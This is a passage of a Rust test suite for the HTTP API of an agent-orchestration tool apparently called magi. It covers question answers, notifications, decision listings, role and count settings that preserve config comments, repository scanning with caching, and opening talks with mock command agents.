14447            assert_eq!(answer.status, 409, "{}", answer.body);
14448            assert_eq!(std::fs::read(questions.path_of(&q.id)).unwrap(), bytes);
14449        }
14450    }
14451
14452    #[tokio::test]
14453    async fn an_answer_the_question_does_not_offer_is_refused() {
14454        let fx = Fixture::start().await;
14455        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
14456        let path = format!("/api/questions/{id}/answer");
14457
14458        for body in [
14459            r#"{"choice":"Postgres"}"#,
14460            r#"{"text":"whatever you think"}"#,
14461            r#"{"choice":"Redis","text":"both"}"#,
14462            r#"{}"#,
14463        ] {
14464            let res = fx.post(&path, Some(body)).await;
14465            assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
14466            assert!(res.json()["error"].is_string(), "{}", res.body);
14467        }
14468        // Nothing above may have answered it.
14469        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
14470    }
14471
14472    #[tokio::test]
14473    async fn a_free_text_question_takes_text_and_not_a_choice() {
14474        let fx = Fixture::start().await;
14475        let id = ask(&fx, "What should the flag be called?", &[]);
14476        fx.questions().beat(&id, ask::WaiterKind::Asker);
14477        let path = format!("/api/questions/{id}/answer");
14478
14479        assert_eq!(
14480            fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
14481            400
14482        );
14483        let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
14484        assert_eq!(res.status, 200, "{}", res.body);
14485        assert_eq!(res.json()["answer"]["text"], "--json");
14486    }
14487
14488    #[tokio::test]
14489    async fn an_unknown_question_is_a_json_404() {
14490        let fx = Fixture::start().await;
14491        let res = fx
14492            .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
14493            .await;
14494        assert_eq!(res.status, 404, "{}", res.body);
14495        assert!(res.json()["error"].is_string());
14496    }
14497
14498    #[tokio::test]
14499    async fn notifications_resolve_live_questions_without_changing_saved_notices() {
14500        let fx = Fixture::start().await;
14501        let questions = Questions::at(fx.home.path().join("questions"));
14502        let store = Notices::at(fx.home.path().join("notifications"));
14503        let mut q = ask::Question::new(
14504            "t1".into(),
14505            "conduct".into(),
14506            "conductor".into(),
14507            "Continue?".into(),
14508            String::new(),
14509            Vec::new(),
14510        );
14511        questions.put(&mut q).unwrap();
14512        let mut n = Notice::warn("task:t1", "Task t1 is held.");
14513        n.covered_by = Some(q.id.clone());
14514        let n = store.raise(n).unwrap();
14515        let listed = fx.get("/api/notifications").await.json();
14516        assert_eq!(listed["items"][0]["answerable_question"], q.id);
14517        questions
14518            .update(&q.id, |q| {
14519                q.abandon("run gone");
14520                Ok(())
14521            })
14522            .unwrap();
14523        let listed = fx.get("/api/notifications").await.json();
14524        assert!(listed["items"][0]["answerable_question"].is_null());
14525        assert_eq!(store.get(&n.id).unwrap().covered_by, Some(q.id));
14526        assert!(
14527            !std::fs::read_to_string(store.root().join(format!("{}.json", n.id)))
14528                .unwrap()
14529                .contains("answerable_question")
14530        );
14531    }
14532
14533    #[tokio::test]
14534    async fn decisions_list_reports_unreadable_records_without_hiding_pending_items() {
14535        let fx = Fixture::start().await;
14536        let outbox = crate::task_inquiry::Outbox::at(fx.home.path());
14537        let task = crate::queue::Task::new(
14538            "work".into(),
14539            "work".into(),
14540            fx.home.path().into(),
14541            crate::queue::Source::Human,
14542        );
14543        let inquiry = outbox
14544            .file(&task, None, "test".into(), "入力待ち", "詳細")
14545            .unwrap();
14546        let root = fx.home.path().join("notifications/task-inquiries");
14547        std::fs::write(root.join("broken.json"), "{").unwrap();
14548        let mut unsupported = inquiry.clone();
14549        unsupported.id = "unsupported".into();
14550        unsupported.schema = 99;
14551        std::fs::write(
14552            root.join("unsupported.json"),
14553            serde_json::to_vec(&unsupported).unwrap(),
14554        )
14555        .unwrap();
14556        let before = std::fs::read(root.join(format!("{}.json", inquiry.id))).unwrap();
14557        for _ in 0..2 {
14558            let response = fx.get("/api/decisions").await;
14559            assert_eq!(response.status, 200, "{}", response.body);
14560            let listed = response.json();
14561            assert_eq!(listed["unreadable"], 2);
14562            assert_eq!(listed["items"].as_array().unwrap().len(), 1);
14563            assert_eq!(listed["items"][0]["id"], inquiry.id);
14564            assert_eq!(listed["items"][0]["decision"]["status"], "awaiting_owner");
14565        }
14566        assert_eq!(
14567            before,
14568            std::fs::read(root.join(format!("{}.json", inquiry.id))).unwrap()
14569        );
14570        assert!(outbox.list().is_err());
14571        std::fs::remove_file(root.join("broken.json")).unwrap();
14572        std::fs::remove_file(root.join("unsupported.json")).unwrap();
14573        assert_eq!(fx.get("/api/decisions").await.json()["unreadable"], 0);
14574    }
14575
14576    #[tokio::test]
14577    async fn decisions_list_exposes_migration_errors_without_acknowledging_them() {
14578        let fx = Fixture::start().await;
14579        let root = fx.home.path().join("notifications/task-chat-migration-v1");
14580        std::fs::create_dir_all(&root).unwrap();
14581        let journal = serde_json::json!({
14582            "schema": 1, "pending": ["saved-inquiry"],
14583            "errors": {"saved-inquiry": "Source is unreadable; no action executed"}
14584        });
14585        let bytes = serde_json::to_vec(&journal).unwrap();
14586        std::fs::write(root.join("state.json"), &bytes).unwrap();
14587        for _ in 0..2 {
14588            let response = fx.get("/api/decisions").await;
14589            assert_eq!(response.status, 200);
14590            let listed = response.json();
14591            assert_eq!(listed["migration_errors"][0]["id"], "saved-inquiry");
14592            assert!(listed["items"].as_array().unwrap().is_empty());
14593            assert_eq!(std::fs::read(root.join("state.json")).unwrap(), bytes);
14594        }
14595        // An unreadable journal must not make the endpoint hide the list.
14596        std::fs::write(root.join("state.json"), b"{").unwrap();
14597        let response = fx.get("/api/decisions").await;
14598        assert_eq!(response.status, 200);
14599        assert_eq!(response.json()["migration_errors"][0]["id"], "migration");
14600    }
14601
14602    #[tokio::test]
14603    async fn notifications_list_read_dismiss_and_health_agree() {
14604        let fx = Fixture::start().await;
14605        let store = Notices::at(fx.home.path().join("notifications"));
14606        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
14607        let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
14608
14609        let a = store.raise(Notice::warn("task:1", "held")).unwrap();
14610        let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
14611
14612        store
14613            .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
14614            .unwrap();
14615        let health = fx.get("/api/health").await.json();
14616        assert_eq!(health["notifications_unread"], 2);
14617        assert_ne!(
14618            health["notifications_rev"], rev0,
14619            "the badge must move live"
14620        );
14621
14622        let listed = fx.get("/api/notifications").await.json();
14623        assert_eq!(listed["unread"], 2);
14624        assert_eq!(listed["items"].as_array().unwrap().len(), 2);
14625        assert_eq!(listed["items"][0]["severity"], "error", "newest first");
14626
14627        let read = fx
14628            .post(&format!("/api/notifications/{}/read", a.id), None)
14629            .await;
14630        assert_eq!(read.status, 200, "{}", read.body);
14631        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
14632
14633        let gone = fx
14634            .post(&format!("/api/notifications/{}/dismiss", b.id), None)
14635            .await;
14636        assert_eq!(gone.status, 200, "{}", gone.body);
14637        let listed = fx.get("/api/notifications").await.json();
14638        assert_eq!(listed["items"].as_array().unwrap().len(), 1);
14639        assert_eq!(listed["unread"], 0);
14640
14641        store.raise(Notice::info("x", "again")).unwrap();
14642        let all = fx.post("/api/notifications/read-all", None).await;
14643        assert_eq!(all.status, 200, "{}", all.body);
14644        assert_eq!(all.json()["marked"], 1);
14645        assert_eq!(
14646            fx.get("/api/health").await.json()["notifications_unread"],
14647            0
14648        );
14649
14650        let missing = fx.post("/api/notifications/nope/read", None).await;
14651        assert_eq!(missing.status, 404, "{}", missing.body);
14652        assert!(missing.json()["error"].is_string());
14653    }
14654
14655    /// New work reaches the queue through `magi task add`, a standing talk's
14656    /// `magi task add --solo`, or the CLI - never a raw `POST /api/queue` -
14657    /// so the compose form and that route are gone. The tests that covered
14658    /// that route's validation went with it, and nothing was left asserting
14659    /// it stays gone — so a re-added handler would silently let the phone
14660    /// file briefs no one validated.
14661    #[tokio::test]
14662    async fn a_task_cannot_be_filed_over_the_phone_directly() {
14663        let f = Fixture::start().await;
14664
14665        let res = f
14666            .post(
14667                "/api/queue",
14668                Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
14669            )
14670            .await;
14671
14672        assert_eq!(
14673            res.status, 405,
14674            "POST /api/queue must not be a route: {}",
14675            res.body
14676        );
14677        assert!(
14678            f.queue().list().is_empty(),
14679            "a task filed by a route that does not exist must not reach the disk"
14680        );
14681        // The path itself is still served — the Queue view reads it — and the
14682        // per-task controls are untouched by the entry being removed.
14683        assert_eq!(f.get("/api/queue").await.status, 200);
14684    }
14685
14686    /// `<repo>/host/owner/repo/.git`, the ghq layout [`repos::scan`] expects.
14687    fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
14688        std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
14689            .expect("checkout dir");
14690    }
14691
14692    /// Two command agents, so a config needs no real CLI.
14693    const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
14694
14695    fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
14696        let tmp = TempDir::new().expect("tempdir");
14697        let repo = tmp.path().join("repo");
14698        std::fs::create_dir_all(&repo).expect("repo dir");
14699        std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
14700        let machine = tmp.path().join("cfg").join("magi").join("config.toml");
14701        if let Some(text) = machine_toml {
14702            std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
14703            std::fs::write(&machine, text).expect("machine toml");
14704        }
14705        (tmp, repo, machine)
14706    }
14707
14708    async fn settings_checkout(path: &FsPath, text: &str) {
14709        std::fs::create_dir_all(path).unwrap();
14710        std::fs::write(path.join("magi.toml"), text).unwrap();
14711        for args in [
14712            vec!["init", "-b", "main"],
14713            vec!["add", "magi.toml"],
14714            vec![
14715                "-c",
14716                "user.name=Test",
14717                "-c",
14718                "user.email=test@example.invalid",
14719                "commit",
14720                "-m",
14721                "fixture",
14722            ],
14723            vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
14724            vec![
14725                "symbolic-ref",
14726                "refs/remotes/origin/HEAD",
14727                "refs/remotes/origin/main",
14728            ],
14729        ] {
14730            crate::git::git(path, &args).await.unwrap();
14731        }
14732    }
14733
14734    #[tokio::test]
14735    async fn settings_context_handlers_validate_and_save_without_a_socket() {
14736        let (tmp, repo, machine) =
14737            settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
14738        let root = tmp.path().join("roots");
14739        let selected = root.join("host/owner/selected");
14740        settings_checkout(
14741            &selected,
14742            "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
14743        )
14744        .await;
14745        std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
14746        let before = std::fs::read(&machine).unwrap();
14747        let ui = Arc::new(
14748            Ui::new(
14749                Queue::at(tmp.path().join("queue")),
14750                Questions::at(tmp.path().join("questions")),
14751                Talks::at(tmp.path().join("talks")),
14752                tmp.path().join("runs"),
14753                tmp.path().to_path_buf(),
14754                repo.clone(),
14755            )
14756            .with_machine_config(Some(machine.clone())),
14757        );
14758        let query = || {
14759            Query(SettingsQuery {
14760                repo: Some(selected.clone()),
14761            })
14762        };
14763        let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
14764        assert!(v.error.is_none(), "{:?}", v.error);
14765        let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
14766        assert_eq!(conductor.source, "repo");
14767        assert_eq!(
14768            conductor.machine_value,
14769            Some(toml::Value::String("a".into()))
14770        );
14771        assert!(!conductor.editable);
14772        let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
14773        assert_eq!(
14774            judges.count.as_ref().unwrap().machine_value,
14775            Some(toml::Value::Integer(1))
14776        );
14777        assert!(
14778            !v.roles
14779                .iter()
14780                .find(|r| r.key == "reviewers")
14781                .unwrap()
14782                .editable
14783        );
14784        let unknown = || {
14785            Query(SettingsQuery {
14786                repo: Some(tmp.path().to_path_buf()),
14787            })
14788        };
14789        assert_eq!(
14790            settings_get(State(ui.clone()), unknown())
14791                .await
14792                .unwrap_err()
14793                .status,
14794            StatusCode::UNPROCESSABLE_ENTITY
14795        );
14796        let body = || {
14797            Ok(Json(RolesBody {
14798                revision: v.revision.clone(),
14799                roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
14800                counts: Default::default(),
14801            }))
14802        };
14803        assert_eq!(
14804            settings_put_roles(State(ui.clone()), unknown(), body())
14805                .await
14806                .unwrap_err()
14807                .status,
14808            StatusCode::UNPROCESSABLE_ENTITY
14809        );
14810        assert_eq!(std::fs::read(&machine).unwrap(), before);
14811        let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
14812            .await
14813            .unwrap();
14814        assert_eq!(
14815            saved.repo,
14816            selected.canonicalize().unwrap().display().to_string()
14817        );
14818        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
14819        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
14820        // A cache miss refreshes the stable candidate list exactly for validation.
14821        let fresh = root.join("host/owner/fresh");
14822        settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
14823        let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
14824            .await
14825            .unwrap();
14826        assert_eq!(fresh_view.repositories.len(), 3);
14827    }
14828
14829    #[tokio::test]
14830    async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
14831        let (tmp, repo, machine) = settings_dirs(
14832            "[roles]\nreviewers = [\"a\"]\n",
14833            Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
14834        );
14835        let root = tmp.path().join("roots");
14836        let selected = root.join("host/owner/selected");
14837        settings_checkout(
14838            &selected,
14839            "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
14840        )
14841        .await;
14842        let broken = root.join("host/owner/broken");
14843        settings_checkout(&broken, "[roles\nbroken").await;
14844        let machine_text = format!(
14845            "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
14846            toml::Value::String(root.display().to_string())
14847        );
14848        std::fs::write(&machine, &machine_text).unwrap();
14849        let originals: Vec<_> = [&repo, &selected, &broken]
14850            .iter()
14851            .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
14852            .collect();
14853        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
14854        let default = f.get("/api/settings").await.json();
14855        assert_eq!(
14856            default["repo"],
14857            repo.canonicalize().unwrap().display().to_string()
14858        );
14859        assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
14860        let query = format!("?repo={}", selected.display());
14861        let res = f.get(&format!("/api/settings{query}")).await;
14862        assert_eq!(res.status, 200, "{}", res.body);
14863        let v = res.json();
14864        assert!(v["error"].is_null(), "{v}");
14865        assert_eq!(v["repositories"], default["repositories"]);
14866        let role = |key: &str| {
14867            v["roles"]
14868                .as_array()
14869                .unwrap()
14870                .iter()
14871                .find(|r| r["key"] == key)
14872                .unwrap()
14873        };
14874        assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
14875        assert_eq!(role("advisors")["source"], "repo");
14876        assert_eq!(role("advisors")["editable"], false);
14877        assert!(role("advisors")["machine_value"].is_null());
14878        assert_eq!(role("judges")["count"]["value"], 2);
14879        assert_eq!(role("judges")["count"]["machine_value"], 1);
14880        assert_eq!(role("judges")["count"]["source"], "repo");
14881        let source = role("judges")["count"]["source_path"].as_str().unwrap();
14882        assert!(
14883            source.contains("origin/main") && !source.contains("magi/config/"),
14884            "{source}"
14885        );
14886        assert_eq!(
14887            role("reviewers")["editable"],
14888            false,
14889            "default context outside roots must protect its declarations"
14890        );
14891        let body =
14892            serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
14893        let unknown = format!("?repo={}", tmp.path().display());
14894        assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
14895        assert_eq!(
14896            f.put(&format!("/api/settings/roles{unknown}"), &body)
14897                .await
14898                .status,
14899            422
14900        );
14901        assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
14902        let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
14903            .to_string();
14904        assert_eq!(
14905            f.put(&format!("/api/settings/roles{query}"), &refuse)
14906                .await
14907                .status,
14908            422
14909        );
14910        let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
14911        assert_eq!(saved.status, 200, "{}", saved.body);
14912        assert_eq!(saved.json()["repo"], v["repo"]);
14913        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
14914        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
14915        for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
14916            assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
14917        }
14918        let error = f
14919            .get(&format!("/api/settings?repo={}", broken.display()))
14920            .await;
14921        assert_eq!(error.status, 200);
14922        assert!(error.json()["error"]["message"].is_string());
14923        assert_eq!(error.json()["repositories"], default["repositories"]);
14924    }
14925
14926    #[tokio::test]
14927    async fn settings_get_reports_sources_and_the_advisors_fallback() {
14928        let (_tmp, repo, machine) =
14929            settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
14930        let f = Fixture::with_repo_and_machine(repo, machine).await;
14931        let res = f.get("/api/settings").await;
14932        assert_eq!(res.status, 200, "{}", res.body);
14933        let v = res.json();
14934        assert!(v["error"].is_null(), "{v}");
14935        let role = |k: &str| {
14936            v["roles"]
14937                .as_array()
14938                .and_then(|r| r.iter().find(|x| x["key"] == k))
14939                .cloned()
14940                .unwrap_or_else(|| panic!("no role {k}: {v}"))
14941        };
14942        assert_eq!(role("judges")["source"], "machine");
14943        assert_eq!(role("judges")["editable"], true);
14944        assert_eq!(role("implementers")["source"], "default");
14945        let adv = role("advisors");
14946        assert_eq!(adv["fallback"], "judges");
14947        assert!(
14948            adv["seats"]
14949                .as_array()
14950                .is_some_and(|s| s.iter().all(|x| x == "b")),
14951            "{adv}"
14952        );
14953        assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
14954        assert_eq!(v["agents"][0]["source"], "repo");
14955    }
14956
14957    #[tokio::test]
14958    async fn settings_get_reports_a_config_that_does_not_parse() {
14959        let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
14960        let f = Fixture::with_repo_and_machine(repo, machine).await;
14961        let res = f.get("/api/settings").await;
14962        assert_eq!(res.status, 200, "{}", res.body);
14963        let v = res.json();
14964        assert!(v["error"]["message"].is_string(), "{v}");
14965        assert!(
14966            v["error"]["path"]
14967                .as_str()
14968                .is_some_and(|p| p.ends_with("magi.toml")),
14969            "{v}"
14970        );
14971        assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
14972    }
14973
14974    #[tokio::test]
14975    async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
14976        let (_tmp, repo, machine) = settings_dirs(
14977            SETTINGS_AGENTS,
14978            Some("# mine\n[roles]\n# seats\njudges = [\"a\"]  # note\n\n[vars]\nx = 1\n"),
14979        );
14980        let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
14981        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
14982        let rev = f.get("/api/settings").await.json()["revision"]
14983            .as_str()
14984            .expect("revision")
14985            .to_owned();
14986        let body = serde_json::json!({
14987            "revision": rev,
14988            "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
14989        })
14990        .to_string();
14991        let res = f.put("/api/settings/roles", &body).await;
14992        assert_eq!(res.status, 200, "{}", res.body);
14993        let text = std::fs::read_to_string(&machine).expect("machine");
14994        assert_eq!(
14995            text,
14996            "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"]  # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
14997        );
14998        assert_eq!(
14999            std::fs::read(repo.join("magi.toml")).expect("read"),
15000            repo_before
15001        );
15002        let again = f.get("/api/settings").await.json();
15003        let judges = again["roles"]
15004            .as_array()
15005            .expect("roles")
15006            .iter()
15007            .find(|r| r["key"] == "judges")
15008            .expect("judges")
15009            .clone();
15010        assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
15011        // The old revision is now stale.
15012        let stale = f.put("/api/settings/roles", &body).await;
15013        assert_eq!(stale.status, 409, "{}", stale.body);
15014    }
15015
15016    #[tokio::test]
15017    async fn settings_counts_are_reported_and_saved() {
15018        let (_tmp, repo, machine) = settings_dirs(
15019            &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
15020            Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
15021        );
15022        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
15023        let v = f.get("/api/settings").await.json();
15024        let count = |v: &serde_json::Value, k: &str| {
15025            v["roles"]
15026                .as_array()
15027                .and_then(|r| r.iter().find(|x| x["key"] == k))
15028                .map(|x| x["count"].clone())
15029                .unwrap_or_else(|| panic!("no role {k}: {v}"))
15030        };
15031        let imp = count(&v, "implementers");
15032        assert_eq!(imp["value"], 2);
15033        assert_eq!(imp["source"], "machine");
15034        assert_eq!(imp["file_key"], "candidates");
15035        assert_eq!(imp["roster_len"], 2);
15036        assert_eq!(imp["backups"], 0);
15037        assert_eq!(count(&v, "judges")["source"], "default");
15038        assert_eq!(count(&v, "advisors")["min"], 0);
15039        assert_eq!(count(&v, "reviewers")["editable"], false);
15040        assert!(
15041            count(&v, "reviewers")["locked_reason"]
15042                .as_str()
15043                .is_some_and(|m| m.contains("graph.reviewers"))
15044        );
15045        assert!(count(&v, "fixer").is_null());
15046        let rev = v["revision"].as_str().expect("revision").to_owned();
15047        let body = serde_json::json!({
15048            "revision": rev,
15049            "roles": { "judges": ["b"] },
15050            "counts": { "implementers": 1, "advisors": 0 }
15051        })
15052        .to_string();
15053        let res = f.put("/api/settings/roles", &body).await;
15054        assert_eq!(res.status, 200, "{}", res.body);
15055        let text = std::fs::read_to_string(&machine).expect("machine");
15056        assert_eq!(
15057            text,
15058            "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
15059        );
15060        let after = f.get("/api/settings").await.json();
15061        assert_eq!(count(&after, "implementers")["value"], 1);
15062        assert_eq!(count(&after, "implementers")["backups"], 1);
15063        assert_eq!(count(&after, "advisors")["value"], 0);
15064        let before = std::fs::read_to_string(&machine).expect("machine");
15065        let rev = after["revision"].as_str().expect("revision").to_owned();
15066        for counts in [
15067            serde_json::json!({ "judges": 0 }),
15068            serde_json::json!({ "judges": "x" }),
15069            serde_json::json!({ "judges": 2.5 }),
15070            serde_json::json!({ "judges": -1 }),
15071            serde_json::json!({ "reviewers": 3 }),
15072            serde_json::json!({ "bogus": 3 }),
15073        ] {
15074            let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
15075            let res = f.put("/api/settings/roles", &body).await;
15076            assert_eq!(res.status, 422, "{counts}: {}", res.body);
15077            assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
15078        }
15079    }
15080
15081    #[tokio::test]
15082    async fn settings_put_refuses_without_touching_the_file() {
15083        let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
15084        let (_tmp, repo, machine) = settings_dirs(
15085            &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
15086            Some(machine_text),
15087        );
15088        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
15089        let rev = f.get("/api/settings").await.json()["revision"]
15090            .as_str()
15091            .expect("revision")
15092            .to_owned();
15093        for roles in [
15094            serde_json::json!({ "judges": ["nope"] }),
15095            serde_json::json!({ "reviewers": ["b"] }),
15096            serde_json::json!({ "bogus": ["a"] }),
15097        ] {
15098            let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
15099            let res = f.put("/api/settings/roles", &body).await;
15100            assert_eq!(res.status, 422, "{roles}: {}", res.body);
15101            assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
15102            assert_eq!(
15103                std::fs::read_to_string(&machine).expect("machine"),
15104                machine_text
15105            );
15106        }
15107    }
15108
15109    #[tokio::test]
15110    async fn repos_list_returns_name_and_path_for_every_configured_root() {
15111        let tmp = TempDir::new().expect("tempdir");
15112        let repo = tmp.path().join("repo");
15113        std::fs::create_dir_all(&repo).expect("repo dir");
15114        let root = tmp.path().join("root");
15115        make_checkout(&root, "github.com", "yukimemi", "magi");
15116        std::fs::write(
15117            repo.join("magi.toml"),
15118            format!(
15119                "[repos]\nroots = [{:?}]\n",
15120                root.to_string_lossy().into_owned()
15121            ),
15122        )
15123        .expect("write magi.toml");
15124
15125        let f = Fixture::with_repo(repo).await;
15126        let res = f.get("/api/repos").await;
15127        assert_eq!(res.status, 200, "{}", res.body);
15128        let list = res.json();
15129        let repos = list.as_array().expect("an array");
15130        assert_eq!(repos.len(), 1);
15131        assert_eq!(repos[0]["name"], "yukimemi/magi");
15132        assert!(
15133            repos[0]["path"]
15134                .as_str()
15135                .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
15136            "{list}"
15137        );
15138    }
15139
15140    #[tokio::test]
15141    async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
15142        let tmp = TempDir::new().expect("tempdir");
15143        let repo = tmp.path().join("repo");
15144        std::fs::create_dir_all(&repo).expect("repo dir");
15145        let root = tmp.path().join("root");
15146        make_checkout(&root, "github.com", "yukimemi", "magi");
15147        std::fs::write(
15148            repo.join("magi.toml"),
15149            format!(
15150                "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
15151                root.to_string_lossy().into_owned()
15152            ),
15153        )
15154        .expect("write magi.toml");
15155
15156        let f = Fixture::with_repo(repo).await;
15157        let first = f.get("/api/repos").await;
15158        assert_eq!(first.json().as_array().map(Vec::len), Some(1));
15159
15160        // A second checkout appears; within the TTL the cached answer must
15161        // not notice it.
15162        make_checkout(&root, "github.com", "yukimemi", "rvpm");
15163        let second = f.get("/api/repos").await;
15164        assert_eq!(
15165            second.json().as_array().map(Vec::len),
15166            Some(1),
15167            "a fresh cache must not rescan inside the TTL"
15168        );
15169
15170        let refreshed = f.get("/api/repos?refresh=1").await;
15171        assert_eq!(
15172            refreshed.json().as_array().map(Vec::len),
15173            Some(2),
15174            "an explicit refresh must rescan even inside the TTL"
15175        );
15176    }
15177
15178    /// A `kind = "command"` agent that ignores its prompt and answers a fixed
15179    /// string, declared straight in a repository's own `magi.toml` rather
15180    /// than the operator's real roster. No real agent CLI is spawned - `sh`
15181    /// is the interpreter, the same as `talk::tests::mock_agent` uses - so
15182    /// this is safe to run over a real HTTP round trip.
15183    const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
15184
15185    /// A repo carrying `MOCK_AGENT_TOML`, for the talk routes that need a
15186    /// real `Config::discover` to find an agent - `talk::begin` resolves one
15187    /// even though it takes no turn, and `talk_say` invokes one.
15188    async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
15189        let tmp = TempDir::new().expect("tempdir");
15190        let repo = tmp.path().join("repo");
15191        std::fs::create_dir_all(&repo).expect("repo dir");
15192        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
15193        let f = Fixture::with_repo(repo.clone()).await;
15194        (tmp, repo, f)
15195    }
15196
15197    #[tokio::test]
15198    async fn posting_a_talk_with_remembered_choices_is_soft() {
15199        let (_tmp, _repo, f) = talk_fixture().await;
15200
15201        let good = f
15202            .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
15203            .await;
15204        assert_eq!(good.status, 201, "{}", good.body);
15205        assert_eq!(good.json()["persona"], "rei");
15206
15207        // Wrong values and wrong types are dropped one by one, never a 4xx.
15208        let stale = f
15209            .post(
15210                "/api/talks",
15211                Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
15212            )
15213            .await;
15214        assert_eq!(stale.status, 201, "{}", stale.body);
15215        let v = stale.json();
15216        assert_eq!(v["implementers"], 1);
15217        assert_ne!(v["persona"], "nobody");
15218        let typed = f
15219            .post(
15220                "/api/talks",
15221                Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
15222            )
15223            .await;
15224        assert_eq!(typed.status, 201, "{}", typed.body);
15225
15226        // The strict `agent` field still refuses an unknown id.
15227        let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
15228        assert!(
15229            !strict.status.to_string().starts_with('2'),
15230            "{}",
15231            strict.body
15232        );
15233    }
15234
15235    #[tokio::test]
15236    async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
15237        let (_tmp, _repo, f) = talk_fixture().await;
15238
15239        // No body at all - `f.post(.., None)` sends no `Content-Type` either -
15240        // is the ordinary way a phone opens a talk.
15241        let opened = f.post("/api/talks", None).await;
15242        assert_eq!(opened.status, 201, "{}", opened.body);
15243        let body = opened.json();
15244        assert_eq!(body["status"], "open");
15245        assert_eq!(
15246            body["turns"].as_array().unwrap().len(),
15247            0,
15248            "opening takes no agent turn: there is nothing yet to answer"
15249        );
15250
15251        // An explicit empty object is the same request as none at all.
15252        let also_opened = f.post("/api/talks", Some("{}")).await;
15253        assert_eq!(also_opened.status, 201, "{}", also_opened.body);
15254
15255        let listed = f.get("/api/talks").await.json();
15256        assert_eq!(listed.as_array().unwrap().len(), 2);
